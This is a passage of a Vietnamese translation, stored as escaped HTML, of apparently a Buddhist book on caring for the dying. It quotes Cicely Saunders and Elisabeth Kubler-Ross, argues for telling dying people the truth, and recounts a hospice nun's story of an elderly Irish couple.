n\u00f3 th\u1ea5y b\u1ea3n th\u00e2n h\u1ecd c\u1ea3m th\u1ea5y b\u1ecb l\u1eeba b\u1edfi v\u00f4 minh ri\u00eang c\u1ee7a h\u1ecd, v\u00e0 tuy\u1ec7t v\u1ecdng v\u00e0 ph\u1eabn n\u1ed9 kh\u1ee7ng khi\u1ebfp, \u0111\u1eb7c bi\u1ec7t v\u00ec kh\u00f4ng ai d\u01b0\u1eddng nh\u01b0 mu\u1ed1n hi\u1ec3u h\u1ecd v\u00e0 nhu c\u1ea7u th\u00e0nh t\u00e2m nh\u1ea5t c\u1ee7a h\u1ecd. Nh\u01b0 Cicely Saunders, ng\u01b0\u1eddi ti\u00ean phong v\u0129 \u0111\u1ea1i cho phong tr\u00e0o ch\u0103m s\u00f3c ng\u01b0\u1eddi s\u1eafp ch\u1ebft \u1edf Anh, vi\u1ebft: &#8220;C\u00f3 l\u1ea7n t\u00f4i \u0111\u00e3 h\u1ecfi m\u1ed9t ng\u01b0\u1eddi \u0111\u00e0n \u00f4ng, ng\u01b0\u1eddi bi\u1ebft \u00f4ng \u1ea5y s\u1eafp ch\u1ebft, \u00f4ng \u1ea5y c\u1ea7n c\u00e1i g\u00ec nh\u1ea5t trong nh\u1eefng th\u1ee9 h\u1ecd \u0111em t\u1edbi cho \u00f4ng \u1ea5y. \u00d4ng \u1ea5y n\u00f3i, &#8216;C\u1ea7n ai \u0111\u00f3 c\u00f3 v\u1ebb d\u01b0\u1eddng nh\u01b0 c\u1ed1 hi\u1ec3u t\u00f4i.&#8217; Qu\u1ea3 th\u1ef1c, kh\u00f4ng th\u1ec3 hi\u1ec3u \u0111\u01b0\u1ee3c \u0111\u1ea7y \u0111\u1ee7 v\u1ec1 ng\u01b0\u1eddi kh\u00e1c, nh\u01b0ng t\u00f4i kh\u00f4ng bao gi\u1edd qu\u00ean r\u1eb1ng \u00f4ng \u1ea5y \u0111\u00e3 kh\u00f4ng y\u00eau c\u1ea7u s\u1ef1 th\u00e0nh c\u00f4ng m\u00e0 ch\u1ec9 c\u1ea7n c\u00f3 ai \u0111\u00f3 \u0111\u1ee7 quan t\u00e2m \u0111\u1ec3 th\u1eed.&#8221;<a href=\"#_edn2\" name=\"_ednref2\">[ii]<\/a><\/p>\n<p>\u0110i\u1ec1u b\u1ea3n ch\u1ea5t l\u00e0 ch\u00fang ta \u0111\u1ee7 ch\u0103m nom \u0111\u1ec3 th\u1eed, v\u00e0 ch\u00fang ta ph\u1ea3i \u0111oan ch\u1eafc cho ng\u01b0\u1eddi \u0111\u00f3 r\u1eb1ng b\u1ea5t k\u00ec c\u00e1i g\u00ec ng\u01b0\u1eddi \u0111\u00f3 c\u00f3 th\u1ec3 c\u1ea3m th\u1ea5y, d\u00f9 th\u1ea5t v\u1ecdng v\u00e0 ph\u1eabn n\u1ed9 c\u1ee7a ng\u01b0\u1eddi \u0111\u00f3 l\u00e0 b\u1ea5t k\u00ec c\u00e1i g\u00ec, \u0111i\u1ec1u \u0111\u00f3 l\u00e0 b\u00ecnh th\u01b0\u1eddng. Vi\u1ec7c ch\u1ebft s\u1ebd mang ra nhi\u1ec1u c\u1ea3m x\u00fac b\u1ecb k\u00ecm n\u00e9n: bu\u1ed3n hay s\u1ef1 chai l\u00ec, hay m\u1eb7c c\u1ea3m, hay th\u1eadm ch\u00ed c\u1ea3 ghen t\u1ecb v\u1edbi nh\u1eefng ng\u01b0\u1eddi v\u1eabn m\u1ea1nh kho\u1ebb. Vi\u1ec7c gi\u00fap cho ng\u01b0\u1eddi n\u00e0y kh\u00f4ng ph\u1ea3i l\u00e0 \u0111\u1ec3 k\u00ecm n\u00e9n c\u00e1c c\u1ea3m x\u00fac n\u00e0y khi ch\u00fang n\u1ea3y sinh. \u1ede c\u00f9ng ng\u01b0\u1eddi n\u00e0y khi c\u00e1c l\u1edbp s\u00f3ng \u0111au bu\u1ed3n v\u00e0 ti\u1ebfc th\u01b0\u01a1ng b\u00f9ng ra; v\u1edbi s\u1ef1 ch\u1ea5p nh\u1eadn, th\u1eddi gian v\u00e0 hi\u1ec3u bi\u1ebft ki\u00ean nh\u1eabn, c\u00e1c c\u1ea3m x\u00fac \u0111\u00f3 d\u1ea7n d\u1ea7n r\u00fat xu\u1ed1ng v\u00e0 \u0111\u01b0a ng\u01b0\u1eddi s\u1eafp ch\u1ebft tr\u1edf v\u1ec1 v\u1edbi n\u1ec1n t\u1ea3ng c\u1ee7a tr\u1ea7m t\u0129nh, b\u00ecnh th\u1ea3n, l\u00e0nh m\u1ea1nh \u0111i\u1ec1u l\u00e0 nh\u1eefng th\u1ee9 s\u00e2u s\u1eafc v\u00e0 th\u1ef1c nh\u1ea5t c\u1ee7a h\u1ecd.<\/p>\n<p>\u0110\u1eebng c\u1ed1 l\u00e0 qu\u00e1 kh\u00f4n ngoan; \u0111\u1eebng bao gi\u1edd th\u1eed t\u00ecm c\u00e1i g\u00ec \u0111\u00f3 s\u00e2u s\u1eafc \u0111\u1ec3 n\u00f3i. B\u1ea1n kh\u00f4ng ph\u1ea3i l\u00e0m hay n\u00f3i b\u1ea5t k\u00ec c\u00e1i g\u00ec \u0111\u1ec3 l\u00e0m m\u1ecdi th\u1ee9 t\u1ed1t h\u01a1n. Ch\u1ec9 hi\u1ec7n h\u1eefu \u1edf \u0111\u00f3 nh\u01b0 b\u1ea1n c\u00f3 th\u1ec3. V\u00e0 n\u1ebfu b\u1ea1n c\u1ea3m th\u1ea5y c\u00f3 nhi\u1ec1u lo \u00e2u v\u00e0 s\u1ee3 h\u00e3i, v\u00e0 kh\u00f4ng bi\u1ebft l\u00e0m g\u00ec, th\u00fa nh\u1eadn \u0111i\u1ec1u \u0111\u00f3 m\u1ed9t c\u00e1ch c\u1edfi m\u1edf v\u1edbi ng\u01b0\u1eddi s\u1eafp ch\u1ebft v\u00e0 nh\u1edd h\u1ecd gi\u00fap \u0111\u1ee1. S\u1ef1 ch\u00e2n th\u1eadt n\u00e0y s\u1ebd mang b\u1ea1n v\u00e0 ng\u01b0\u1eddi s\u1eafp ch\u1ebft \u0111\u1ebfn g\u1ea7n nhau h\u01a1n, v\u00e0 gi\u00fap m\u1edf ra giao ti\u1ebfp t\u1ef1 do h\u01a1n. \u0110\u00f4i khi ng\u01b0\u1eddi s\u1eafp ch\u1ebft bi\u1ebft r\u00f5 h\u01a1n ch\u00fang ta nhi\u1ec1u v\u1ec1 c\u00e1ch h\u1ecd c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c gi\u00fap, v\u00e0 ch\u00fang ta c\u1ea7n bi\u1ebft c\u00e1ch r\u00fat ra tr\u00ed hu\u1ec7 c\u1ee7a h\u1ecd v\u00e0 \u0111\u1ec3 h\u1ecd cho ch\u00fang ta \u0111i\u1ec1u h\u1ecd bi\u1ebft. Cicely Saunders \u0111\u00e3 y\u00eau c\u1ea7u ch\u00fang ta nh\u1eafc nh\u1edf b\u1ea3n th\u00e2n ch\u00fang ta r\u1eb1ng, khi \u1edf c\u00f9ng ng\u01b0\u1eddi s\u1eafp ch\u1ebft, ch\u00fang ta kh\u00f4ng ch\u1ec9 l\u00e0 ng\u01b0\u1eddi cho. &#8220;S\u1edbm hay mu\u1ed9n m\u1ecdi ng\u01b0\u1eddi \u0111ang l\u00e0m vi\u1ec7c v\u1edbi ng\u01b0\u1eddi s\u1eafp ch\u1ebft \u0111\u1ec1u bi\u1ebft h\u1ecd \u0111ang nh\u1eadn \u0111\u01b0\u1ee3c nhi\u1ec1u h\u01a1n h\u1ecd \u0111ang cho khi h\u1ecd g\u1eb7p g\u1ee1 v\u1edbi s\u1ef1 ch\u1ecbu \u0111\u1ef1ng, l\u00f2ng d\u0169ng c\u1ea3m v\u00e0 th\u01b0\u1eddng l\u00e0 s\u1ef1 h\u00e0i h\u01b0\u1edbc. Ch\u00fang t\u00f4i c\u1ea7n n\u00f3i nh\u01b0 v\u1eady&#8230;&#8221;<a href=\"#_edn3\" name=\"_ednref3\">[iii]<\/a> Vi\u1ec7c th\u1eeba nh\u1eadn s\u1ef1 ng\u01b0\u1ee1ng m\u1ed9 c\u1ee7a ch\u00fang ta \u0111\u1ed1i v\u1edbi l\u00f2ng can \u0111\u1ea3m c\u1ee7a h\u1ecd th\u01b0\u1eddng c\u00f3 th\u1ec3 g\u00e2y h\u1ee9ng kh\u1edfi cho ng\u01b0\u1eddi s\u1eafp ch\u1ebft.<\/p>\n<p>T\u00f4i c\u0169ng th\u1ea5y r\u1eb1ng t\u00f4i \u0111\u00e3 \u0111\u01b0\u1ee3c gi\u00fap \u0111\u1ee1 b\u1eb1ng vi\u1ec7c nh\u1edb l\u1ea1i m\u1ed9t \u0111i\u1ec1u: r\u1eb1ng ng\u01b0\u1eddi \u1edf tr\u01b0\u1edbc t\u00f4i s\u1eafp ch\u1ebft bao gi\u1edd c\u0169ng l\u00e0 t\u1ed1t c\u1ed1 h\u1eefu, \u1edf \u0111\u00e2u \u0111\u00f3. B\u1ea5t k\u00ec cu\u1ed3ng n\u1ed9 hay c\u1ea3m x\u00fac n\u00e0o n\u1ea3y sinh, d\u00f9 \u0111\u00e2y c\u00f3 th\u1ec3 l\u00e0 nh\u1eefng cho\u00e1ng v\u00e1ng hay khi\u1ebfp h\u00e3i t\u1ea1m th\u1eddi, vi\u1ec7c h\u1ed9i t\u1ee5 v\u00e0o t\u00ednh t\u1ed1t b\u00ean trong \u0111\u00f3 s\u1ebd cho b\u1ea1n vi\u1ec7c ki\u1ec3m so\u00e1t v\u00e0 c\u1ea3nh quan b\u1ea1n c\u1ea7n \u0111\u1ec3 c\u00f3 t\u00ednh gi\u00fap \u0111\u1ee1 nh\u1ea5t c\u00f3 th\u1ec3. Gi\u1ed1ng nh\u01b0 khi b\u1ea1n c\u00e3i nhau v\u1edbi ng\u01b0\u1eddi b\u1ea1n t\u1ed1t, b\u1ea1n kh\u00f4ng qu\u00ean ph\u1ea7n t\u1ed1t nh\u1ea5t c\u1ee7a ng\u01b0\u1eddi \u0111\u00f3, l\u00e0m c\u00f9ng \u0111i\u1ec1u n\u00e0y cho ng\u01b0\u1eddi s\u1eafp ch\u1ebft: Kh\u00f4ng ph\u00e1n x\u00e9t h\u1ecd b\u1edfi b\u1ea5t k\u00ec c\u1ea3m x\u00fac n\u00e0o n\u1ea3y sinh. Vi\u1ec7c ch\u1ea5p nh\u1eadn n\u00e0y c\u1ee7a b\u1ea1n s\u1ebd gi\u1ea3i tho\u00e1t cho ng\u01b0\u1eddi s\u1eafp ch\u1ebft l\u00e0 kh\u00f4ng b\u1ecb c\u1ea5m \u0111o\u00e1n nh\u01b0 ng\u01b0\u1eddi \u0111\u00f3 c\u1ea7n l\u00e0 v\u1eady. \u0110\u1ed1i x\u1eed v\u1edbi ng\u01b0\u1eddi s\u1eafp ch\u1ebft d\u01b0\u1eddng nh\u01b0 h\u1ecd l\u00e0 \u0111i\u1ec1u \u0111\u00f4i khi c\u00f3 n\u0103ng l\u1ef1c l\u00e0 v\u1eady: m\u1edf, y\u00eau th\u01b0\u01a1ng v\u00e0 h\u00e0o ph\u00f3ng.<\/p>\n<p>\u1ede m\u1ee9c \u0111\u1ed9 t\u00e2m linh s\u00e2u s\u1eafc h\u01a1n t\u00f4i th\u1ea5y \u0111i\u1ec1u c\u1ef1c k\u00ec gi\u00fap \u00edch l\u00e0 bao gi\u1edd c\u0169ng nh\u1edb ng\u01b0\u1eddi s\u1eafp ch\u1ebft c\u00f3 b\u1ea3n t\u00ednh ph\u1eadt th\u1ef1c, d\u00f9 ng\u01b0\u1eddi \u0111\u00f3 c\u00f3 nh\u1eadn ra \u0111i\u1ec1u \u0111\u00f3 hay kh\u00f4ng, v\u00e0 c\u00f3 ti\u1ec1m n\u0103ng cho ch\u1ee9ng ng\u1ed9 ho\u00e0n to\u00e0n. Khi ng\u01b0\u1eddi s\u1eafp ch\u1ebft \u0111\u1ebfn g\u1ea7n h\u01a1n v\u1edbi ch\u1ebft, kh\u1ea3 n\u0103ng n\u00e0y th\u1eadm ch\u00ed c\u00e0ng l\u1edbn h\u01a1n theo nhi\u1ec1u c\u00e1ch. Cho n\u00ean h\u1ecd th\u1eadm ch\u00ed x\u1ee9ng \u0111\u00e1ng \u0111\u01b0\u1ee3c ch\u0103m s\u00f3c v\u00e0 k\u00ednh tr\u1ecdng h\u01a1n.<\/p>\n<p>N\u00d3I S\u1ef0 TH\u1eacT<\/p>\n<p>M\u1ecdi ng\u01b0\u1eddi hay h\u1ecfi t\u00f4i: &#8220;M\u1ecdi ng\u01b0\u1eddi c\u00f3 n\u00ean \u0111\u01b0\u1ee3c n\u00f3i cho l\u00e0 h\u1ecd s\u1eafp ch\u1ebft kh\u00f4ng?&#8221; V\u00e0 t\u00f4i bao gi\u1edd c\u0169ng \u0111\u00e1p: &#8220;C\u00f3 ch\u1ee9, nh\u01b0ng m\u1ed9t c\u00e1ch y\u00ean t\u0129nh, ch\u00e2n th\u00e0nh, nh\u1ea1y c\u1ea3m v\u00e0 kh\u00e9o l\u00e9o nh\u1ea5t c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c.&#8221; Qua nhi\u1ec1u n\u0103m th\u0103m c\u00e1c b\u1ec7nh nh\u00e2n \u1ed1m hay s\u1eafp ch\u1ebft, t\u00f4i \u0111\u1ed3ng \u00fd v\u1edbi Elisabeth Kubler-Ross, ng\u01b0\u1eddi \u0111\u00e3 quan s\u00e1t r\u1eb1ng: &#8220;Ph\u1ea7n l\u1edbn, n\u1ebfu kh\u00f4ng ph\u1ea3i l\u00e0 t\u1ea5t c\u1ea3, c\u00e1c b\u1ec7nh nh\u00e2n bi\u1ebft b\u1eb1ng c\u00e1ch n\u00e0o \u0111\u00f3. H\u1ecd c\u1ea3m th\u1ea5y n\u00f3 b\u1edfi s\u1ef1 ch\u00fa \u00fd thay \u0111\u1ed5i, b\u1edfi nh\u1eefng c\u00e1ch ti\u1ebfp c\u1eadn kh\u00e1c v\u00e0 m\u1edbi m\u00e0 m\u1ecdi ng\u01b0\u1eddi \u0111em t\u1edbi cho h\u1ecd, b\u1edfi vi\u1ec7c h\u1ea1 gi\u1ecdng hay tr\u00e1nh ti\u1ebfng \u1ed3n, b\u1edfi m\u1eb7t \u0111\u1eabm l\u1ec7 c\u1ee7a ng\u01b0\u1eddi th\u00e2n hay b\u1edfi v\u1ebb \u0111\u0103m chi\u00eau, kh\u00f4ng c\u01b0\u1eddi c\u1ee7a ng\u01b0\u1eddi trong gia \u0111\u00ecnh, ng\u01b0\u1eddi kh\u00f4ng th\u1ec3 che gi\u1ea5u \u0111\u01b0\u1ee3c t\u00ecnh c\u1ea3m th\u1ef1c c\u1ee7a m\u00ecnh.&#8221;<a href=\"#_edn4\" name=\"_ednref4\">[iv]<\/a><\/p>\n<p>T\u00f4i th\u01b0\u1eddng th\u1ea5y r\u1eb1ng m\u1ecdi ng\u01b0\u1eddi theo b\u1ea3n n\u0103ng bi\u1ebft h\u1ecd s\u1eafp ch\u1ebft, nh\u01b0ng v\u1eabn ph\u1ea3i d\u1ef1a v\u00e0o nh\u1eefng ng\u01b0\u1eddi kh\u00e1c &#8211; b\u00e1c s\u0129 hay nh\u1eefng ng\u01b0\u1eddi h\u1ecd y\u00eau m\u1ebfn &#8211; \u0111\u1ec3 x\u00e1c nh\u1eadn \u0111i\u1ec1u n\u00e0y. N\u1ebfu h\u1ecd kh\u00f4ng x\u00e1c nh\u1eadn, ng\u01b0\u1eddi s\u1eafp ch\u1ebft c\u00f3 th\u1ec3 ngh\u0129 \u0111\u00f3 l\u00e0 v\u00ec c\u00e1c th\u00e0nh vi\u00ean trong gia \u0111\u00ecnh kh\u00f4ng th\u1ec3 \u0111\u01b0\u01a1ng \u0111\u1ea7u \u0111\u01b0\u1ee3c v\u1edbi tin n\u00e0y. V\u00e0 th\u1ebf l\u00e0 ng\u01b0\u1eddi s\u1eafp ch\u1ebft s\u1ebd kh\u00f4ng n\u00eau v\u1ea5n \u0111\u1ec1 n\u00e0y n\u1eefa. Vi\u1ec7c thi\u1ebfu trung th\u1ef1c n\u00e0y s\u1ebd l\u00e0m cho ng\u01b0\u1eddi \u0111\u00f3 c\u1ea3m th\u1ea5y \u0111\u01a1n \u0111\u1ed9c h\u01a1n v\u00e0 lo l\u1eafng h\u01a1n. T\u00f4i tin \u0111i\u1ec1u b\u1ea3n ch\u1ea5t l\u00e0 n\u00f3i cho ng\u01b0\u1eddi s\u1eafp ch\u1ebft v\u1ec1 s\u1ef1 th\u1ef1c; ch\u00ed \u00edt ng\u01b0\u1eddi \u0111\u00f3 x\u1ee9ng \u0111\u00e1ng \u0111\u01b0\u1ee3c nh\u01b0 v\u1eady. N\u1ebfu ng\u01b0\u1eddi s\u1eafp ch\u1ebft kh\u00f4ng \u0111\u01b0\u1ee3c n\u00f3i cho s\u1ef1 th\u1ef1c, l\u00e0m sao h\u1ecd c\u00f3 th\u1ec3 chu\u1ea9n b\u1ecb cho b\u1ea3n th\u00e2n h\u1ecd v\u1ec1 ch\u1ebft? L\u00e0m sao h\u1ecd c\u00f3 th\u1ec3 mang m\u1ed1i quan h\u1ec7 v\u1edbi cu\u1ed9c s\u1ed1ng c\u1ee7a h\u1ecd t\u1edbi k\u1ebft th\u00fac \u0111\u00fang? L\u00e0m sao h\u1ecd c\u00f3 th\u1ec3 ch\u0103m nom t\u1edbi nhi\u1ec1u v\u1ea5n \u0111\u1ec1 th\u1ef1c t\u1ebf m\u00e0 h\u1ecd ph\u1ea3i gi\u1ea3i quy\u1ebft? L\u00e0m sao h\u1ecd c\u00f3 th\u1ec3 gi\u00fap cho nh\u1eefng ng\u01b0\u1eddi b\u1ecb b\u1ecf l\u1ea1i \u0111ang s\u1ed1ng khi h\u1ecd ra \u0111i?<\/p>\n<p>Theo quan \u0111im c\u1ee7a t\u00f4i nh\u01b0 m\u1ed9t ng\u01b0\u1eddi tu luy\u1ec7n t\u00e2m linh, t\u00f4i tin vi\u1ec7c ch\u1ebft l\u00e0 c\u01a1 h\u1ed9i l\u1edbn \u0111\u1ec3 m\u1ecdi ng\u01b0\u1eddi ch\u1ea5p nh\u1eadn to\u00e0n th\u1ec3 cu\u1ed9c \u0111\u1eddi c\u1ee7a h\u1ecd; v\u00e0 t\u00f4i \u0111\u00e3 th\u1ea5y nhi\u1ec1u, nhi\u1ec1u c\u00e1 nh\u00e2n t\u1eadn d\u1ee5ng c\u01a1 h\u1ed9i n\u00e0y, theo nh\u1eefng c\u00e1ch h\u1ee9ng kh\u1edfi nh\u1ea5t, \u0111\u1ec3 thay \u0111\u1ed5i b\u1ea3n th\u00e2n h\u1ecd v\u00e0 \u0111i t\u1edbi g\u1ea7n h\u01a1n ch\u00e2n l\u00ed s\u00e2u nh\u1ea5t c\u1ee7a ri\u00eang h\u1ecd. Cho n\u00ean b\u1eb1ng vi\u1ec7c n\u00f3i m\u1ed9t c\u00e1ch ch\u00e2n th\u00e0nh v\u00e0 nh\u1ea1y c\u1ea3m cho m\u1ecdi ng\u01b0\u1eddi t\u1ea1i c\u01a1 h\u1ed9i s\u1edbm nh\u1ea5t r\u1eb1ng h\u1ecd s\u1eafp ch\u1ebft, ch\u00fang ta th\u1ef1c s\u1ef1 cho h\u1ecd c\u01a1 h\u1ed9i \u0111\u1ec3 chu\u1ea9n b\u1ecb, v\u00e0 \u0111\u1ec3 t\u00ecm ra s\u1ee9c m\u1ea1nh ri\u00eang c\u1ee7a h\u1ecd, v\u00e0 ngh\u0129a c\u1ee7a cu\u1ed9c s\u1ed1ng c\u1ee7a h\u1ecd.<\/p>\n<p>\u0110\u1ec3 t\u00f4i k\u1ec3 cho c\u00e1c b\u1ea1n m\u1ed9t c\u00e2u chuy\u1ec7n t\u00f4i nghe \u0111\u01b0\u1ee3c t\u1eeb x\u01a1 Brigid, m\u1ed9t b\u00e0 x\u01a1 C\u01a1 \u0111\u1ed1c gi\u00e1o l\u00e0m vi\u1ec7c trong tr\u1ea1i ch\u0103m s\u00f3c ng\u01b0\u1eddi s\u1eafp ch\u1ebft \u1edf Ai len. \u00d4ng Murphy \u0111\u00e3 \u1edf \u0111\u1ed9 tu\u1ed5i l\u1ee5c tu\u1ea7n, v\u00e0 \u00f4ng \u1ea5y v\u00e0 b\u00e0 v\u1ee3 \u0111\u00e3 \u0111\u01b0\u1ee3c b\u00e1c s\u0129 n\u00f3i cho bi\u1ebft r\u1eb1ng \u00f4ng \u1ea5y kh\u00f4ng c\u00f2n s\u1ed1ng \u0111\u01b0\u1ee3c bao l\u00e2u n\u1eefa. Ng\u00e0y h\u00f4m sau b\u00e0 Murphy \u0111\u1ebfn th\u0103m ch\u1ed3ng trong tr\u1ea1i ch\u0103m s\u00f3c ng\u01b0\u1eddi s\u1eafp ch\u1ebft, v\u00e0 h\u1ecd \u0111\u00e3 n\u00f3i chuy\u1ec7n v\u00e0 kh\u00f3c l\u00f3c v\u1edbi nhau su\u1ed1t c\u1ea3 ng\u00e0y r\u00f2ng. X\u01a1 Brigid theo d\u00f5i \u0111\u00f4i v\u1ee3 ch\u1ed3ng gi\u00e0 n\u00f3i chuy\u1ec7n v\u00e0 th\u01b0\u1eddng h\u1ecd hay kh\u00f3c o\u00e0 l\u00ean, v\u00e0 khi \u0111i\u1ec1u n\u00e0y \u0111\u00e3 di\u1ec5n ra trong ba ng\u00e0y, x\u01a1 t\u1ef1 h\u1ecfi li\u1ec7u x\u01a1 c\u00f3 n\u00ean can thi\u1ec7p v\u00e0o kh\u00f4ng. V\u1eady m\u00e0 ng\u00e0y h\u00f4m sau nh\u00e0 Murphy \u0111\u1ed9t nhi\u00ean d\u01b0\u1eddng nh\u01b0 r\u1ea5t th\u1ea3nh th\u01a1i v\u00e0 an b\u00ecnh, c\u1ea7m tay nhau v\u00e0 bi\u1ec3u l\u1ed9 s\u1ef1 tr\u00ecu m\u1ebfn l\u1edbn v\u1edbi nhau.<\/p>\n<p>X\u01a1 Brigid d\u1eebng b\u00e0 Murphy trong h\u00e0nh lang v\u00e0 h\u1ecfi b\u00e0 \u1ea5y \u0111i\u1ec1u g\u00ec \u0111\u00e3 x\u1ea3y ra gi\u1eefa h\u1ecd \u0111\u1ec3 l\u00e0m ra thay \u0111\u1ed5i l\u1edbn nh\u01b0 v\u1eady trong h\u00e0nh vi c\u1ee7a h\u1ecd. B\u00e0 Murphy b\u1ea3o v\u1edbi x\u01a1 r\u1eb1ng khi h\u1ecd \u0111\u00e3 th\u1ea5y ch\u1ed3ng c\u1ee7a b\u00e0 \u1ea5y s\u1eafp ch\u1ebft, h\u1ecd nh\u00ecn l\u1ea1i nh\u1eefng n\u0103m chung s\u1ed1ng c\u00f9ng nhau, v\u00e0 nhi\u1ec1u k\u1ec9 ni\u1ec7m tr\u1ed7i d\u1eady trong h\u1ecd. H\u1ecd \u0111\u00e3 l\u1ea5y nhau g\u1ea7n b\u1ed1n m\u01b0\u01a1i n\u0103m, v\u00e0 m\u1ed9t c\u00e1ch t\u1ef1 nhi\u00ean h\u1ecd c\u1ea3m th\u1ea5y n\u1ed7i bu\u1ed3n kinh kh\u1ee7ng khi ngh\u0129 v\u00e0 n\u00f3i v\u1ec1 m\u1ecdi \u0111i\u1ec1u m\u00e0 h\u1ecd s\u1ebd kh\u00f4ng bao gi\u1edd c\u00f3 kh\u1ea3 n\u0103ng l\u00e0m c\u00f9ng nhau. Th\u1ebf r\u1ed3i \u00f4ng Murphy \u0111\u00e3 l\u00e0m di ch\u00fac v\u00e0 vi\u1ebft l\u1eddi nh\u1eafn nh\u1ee7 cu\u1ed1i c\u00f9ng cho nh\u1eefng ng\u01b0\u1eddi con \u0111\u00e3 tr\u01b0\u1edfng th\u00e0nh c\u1ee7a \u00f4ng \u1ea5y. T\u1ea5t c\u1ea3 nh\u1eefng \u0111i\u1ec1u n\u00e0y \u0111\u00e3 l\u00e0 bu\u1ed3n kh\u1ee7ng khi\u1ebfp v\u00ec th\u1eadt kh\u00f3 m\u00e0 bu\u00f4ng b\u1ecf, nh\u01b0ng h\u1ecd \u0111\u00e3 ti\u1ebfn h\u00e0nh v\u00ec \u00f4ng Murphy mu\u1ed1n k\u1ebft th\u00fac cu\u1ed9c \u0111\u1eddi m\u1ed9t c\u00e1ch su\u00f4n s\u1ebb.<\/p>\n<p>X\u01a1 Brigid n\u00f3i v\u1edbi t\u00f4i r\u1eb1ng trong ba tu\u1ea7n ti\u1ebfp sau \u0111\u00f3 \u00f4ng Murphy \u0111\u00e3 s\u1ed1ng, \u0111\u00f4i v\u1ee3 ch\u1ed3ng gi\u00e0 \u0111\u00e3 to\u1ea3 ra c\u1ea3m gi\u00e1c k\u00ec di\u1ec7u c\u1ee7a y\u00eau th\u01b0\u01a1ng an b\u00ecnh v\u00e0 \u0111\u01a1n gi\u1ea3n. Ngay c\u1ea3 sau khi ch\u1ed3ng c\u1ee7a b\u00e0 \u1ea5y m\u1ea5t, b\u00e0 Murphy v\u1eabn ti\u1ebfp t\u1ee5c \u0111\u1ebfn th\u0103m c\u00e1c b\u1ec7nh nh\u00e2n trong tr\u1ea1i \u0111i\u1ec1u d\u01b0\u1ee1ng, n\u01a1i b\u00e0 \u1ea5y \u0111\u00e3 l\u00e0 ngu\u1ed3n h\u1ee9ng kh\u1edfi cho m\u1ecdi ng\u01b0\u1eddi.<\/p>\n<p>C\u00e2u chuy\u1ec7n n\u00e0y ch\u1ec9 cho t\u00f4i t\u1ea7m quan tr\u1ecdng c\u1ee7a vi\u1ec7c n\u00f3i s\u1edbm cho m\u1ecdi ng\u01b0\u1eddi r\u1eb1ng h\u1ecd s\u1eafp ch\u1ebft, v\u00e0 c\u0169ng l\u00e0 \u01b0u th\u1ebf l\u1edbn c\u1ee7a vi\u1ec7c \u0111\u1ed1i di\u1ec7n d\u1ee9t kho\u00e1t v\u1edbi n\u1ed7i \u0111au c\u1ee7a m\u1ea5t m\u00e1t. Nh\u00e0 Murphy bi\u1ebft r\u1eb1ng h\u1ecd s\u1ebd m\u1ea5t \u0111i nhi\u1ec1u th\u1ee9, nh\u01b0ng \u0111\u1ed1i di\u1ec7n v\u1edbi nh\u1eefng m\u1ea5t m\u00e1t \u0111\u00f3 c\u00f9ng nh\u1eefng ti\u1ebfc th\u01b0\u01a1ng, h\u1ecd \u0111\u00e3 t\u00ecm ra \u0111i\u1ec1u h\u1ecd kh\u00f4ng th\u1ec3 m\u1ea5t, t\u00ecnh y\u00eau s\u00e2u s\u1eafc gi\u1eefa h\u1ecd, c\u00e1i s\u1ebd c\u00f2n l\u1ea1i sau c\u00e1i ch\u1ebft c\u1ee7a \u00f4ng Murphy.<\/p>\n<p>S\u1ee2 CH\u1ebeT<\/p>\n<p>T\u00f4i ch\u1eafc ch\u1eafn m\u1ed9t trong nh\u1eefng \u0111i\u1ec1u \u0111\u00e3 gi\u00fap cho b\u00e0 Murphy h\u1ed7 tr\u1ee3 cho ch\u1ed3ng b\u00e0 \u1ea5y l\u00e0 \u1edf ch\u1ed7 b\u00e0 \u1ea5y \u0111\u00e3 \u0111\u1ed1i di\u1ec7n v\u1edbi b\u1ea3n th\u00e2n b\u00e0 \u1ea5y v\u1ec1 n\u1ed7i s\u1ee3 ch\u1ebft ri\u00eang c\u1ee7a b\u00e0 \u1ea5y. B\u1ea1n kh\u00f4ng th\u1ec3 gi\u00fap \u0111\u01b0\u1ee3c cho ng\u01b0\u1eddi s\u1eafp ch\u1ebft ch\u1eebng n\u00e0o b\u1ea1n ch\u01b0a th\u1eeba nh\u1eadn c\u00e1ch s\u1ee3 ch\u1ebft c\u1ee7a h\u1ecd qu\u1ea5y r\u1ed1i b\u1ea1n v\u00e0 mang \u0111\u1ebfn n\u1ed7i s\u1ee3 kh\u00f4ng tho\u1ea3i m\u00e1i nh\u1ea5t c\u1ee7a b\u1ea1n. L\u00e0m vi\u1ec7c v\u1edbi ng\u01b0\u1eddi s\u1eafp ch\u1ebft gi\u1ed1ng nh\u01b0 \u0111\u1ed1i di\u1ec7n v\u1edbi t\u1ea5m g\u01b0\u01a1ng b\u00f3ng lo\u00e1ng v\u00e0 d\u1eef d\u1ed9i c\u1ee7a th\u1ef1c t\u1ea1i ri\u00eang c\u1ee7a b\u1ea1n. B\u1ea1n th\u1ea5y trong n\u00f3 m\u1eb7t \u0111\u00edch th\u1ef1c c\u1ee7a n\u1ed7i s\u1ee3 h\u00e3i ri\u00eang c\u1ee7a b\u1ea1n v\u00e0 n\u1ed7i khi\u1ebfp h\u00e3i v\u1ec1 \u0111au c\u1ee7a b\u1ea1n. N\u1ebfu b\u1ea1n kh\u00f4ng nh\u00ecn v\u00e0 kh\u00f4ng ch\u1ea5p nh\u1eadn b\u1ed9 m\u1eb7t kinh ho\u00e0ng v\u00e0 s\u1ee3 h\u00e3i trong b\u1ea3n th\u00e2n b\u1ea1n, l\u00e0m sao b\u1ea1n s\u1ebd c\u00f3 kh\u1ea3 n\u0103ng ch\u1ecbu \u0111\u1ef1ng n\u00f3 trong ng\u01b0\u1eddi \u1edf tr\u01b0\u1edbc b\u1ea1n? Khi b\u1ea1n \u0111\u1ebfn \u0111\u1ec3 th\u1eed v\u00e0 gi\u00fap cho ng\u01b0\u1eddi s\u1eafp ch\u1ebft, b\u1ea1n s\u1ebd c\u1ea7n ki\u1ec3m tra l\u1ea1i m\u1ecdi ph\u1ea3n \u1ee9ng c\u1ee7a b\u1ea1n, v\u00ec ph\u1ea3n \u1ee9ng c\u1ee7a b\u1ea1n s\u1ebd \u0111\u01b0\u1ee3c ph\u1ea3n x\u1ea1 trong nh\u1eefng ph\u1ea3n \u1ee9ng c\u1ee7a ng\u01b0\u1eddi s\u1eafp ch\u1ebft v\u00e0 s\u1ebd g\u00f3p th\u00eam r\u1ea5t nhi\u1ec1u cho vi\u1ec7c 